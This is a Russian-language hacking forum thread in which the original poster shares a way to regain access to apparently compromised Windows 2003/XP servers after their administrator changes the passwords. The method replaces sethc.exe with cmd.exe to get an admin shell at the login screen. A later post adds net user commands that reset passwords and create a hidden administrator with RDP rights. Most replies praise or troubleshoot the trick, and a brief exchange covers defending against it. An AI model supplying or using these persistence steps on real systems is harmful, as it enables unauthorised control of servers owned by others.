100% способ восстановления доступа к дедам 2003/XP

[necro]

И так многие из нас ограничиваются при работе с дедами созданием своей скрытой учетки, но бывает так что админ палит всю хату и меняет все пароли на всех учетках и тут на помощь приходит этот способ восстановления доступа к деду.

Идем в С:\windows\system32\

Копируем cmd.exe на рабочий стол и переименовываем его в sethc.exe , далее опять идем в С:\windows\system32\ и кидаем его туда , соглашаемся на замену .


Теперь подрубаемся к деду ( в полноэкранном режиме) и пять раз жмем SHFT ( на практике приходиться бешено лупить шифт больше 10 раз) и видим CMD c админ правами:

То есть если ваша скрытая учетка выпилина админом, то просто еще раз создаем учетку и доделываем свои дела на этом деде.

З.Ы. все приведенное в статье следует делать из под учетки админа иначе может ни хватить прав на замену sethc.exe.

necro для кпро

 

[Ne1s0n]

Очень оригинально.

 

[McGrath]

Четко, заебись

 

[Альфред]

+1 КРЕАТИВНО)

 

[Дакота]

админ палит всю хату и меняет все пароли на всех учетках

а на своей стало быть оставляет?

 

[WendM]

***

 

[necro]

Для тех кто в танке, все приведеное выше делается на учетки админа сразу после захода на дед. После того как админ нас спалил и поменял все пароли, вызываем CMD и в нем пишем:

net user login password

- так меняем пароль на любой уже существуюшей учетке не заходя на дед. Где login - это уже сушествуюшая учетка.
Ну или стандартно создаем свою учетку

net user user password /add
net localgroup Administrators user /add
net localgroup "Remote Desktop Users" user /add

user - логин учетки
password - пароль учетки

 

[TheVaddd]

В обычной винде на компе такое прокатывало только с LiveCd
Разве рдп доступа хватает, чтобы так играться с системными файлами?
да и способ не 100% - админ может винду снести/ип сменить

 

[kisendjer]

Что именно делает кнопка "Shift" в данном случае? Какой запрос посылает?

 

[makaka]

Если у меня свой сервак, как сделать так, чтоб никто не воспользовался таким способом?

 

[lastexile]

makaka, ставьвоттакойбольшойпарольизразныхсимволов, чтобы не взломали. этот способ работает только после того, как тебя уже поимели

 

[makaka]

То есть после того, как уже был несанкционированный доступ, то ниче не поделать? Только переустановка системы?

 

[lastexile]

makaka, пометь файл как системный, такие файлы так просто не удалишь (если сервак настроен грамотно). права там всякие понаставь, чтобы только владелец мог заменять файл.

 

[makaka]

Okay, sir.

 

[bosi4k]

способ известный но не очень хороший
на некоторых серверах rdp просто перестает работать
можно вообще потерять доступ к серверу

 

[necro]

bosi4k, Глупости, все работает как работало. Ни возможно так навредить серверу)) Rdp и залипание клавиш, никаким боком друг к другу не относяться.

 

[WendM]

***

 

[necro]

запускаю (там же, на рабочем столе)

*facepalm* ЗАЧЕМ????????? скопировал, переименовал, назад кинул и забыл как зовут и ничего запускать не надо.

 

[WendM]

***

 

[Ragen]

ты не понял, переименовал и закинул = заменил. Один хер выскакивает залипание

мб другая сборка винды - посмотри в процессах (в диспетчере задач), как зовётся файл который открыт у тебя на скрине (залипание клавиш), найди его в system32 и замени.

Кстать говоря, помимо залипаний можно попробовать поэксперементировать с вызовом экранной луппы win+u кажется (опять таки имя файла разное на разных версиях ОС может быть)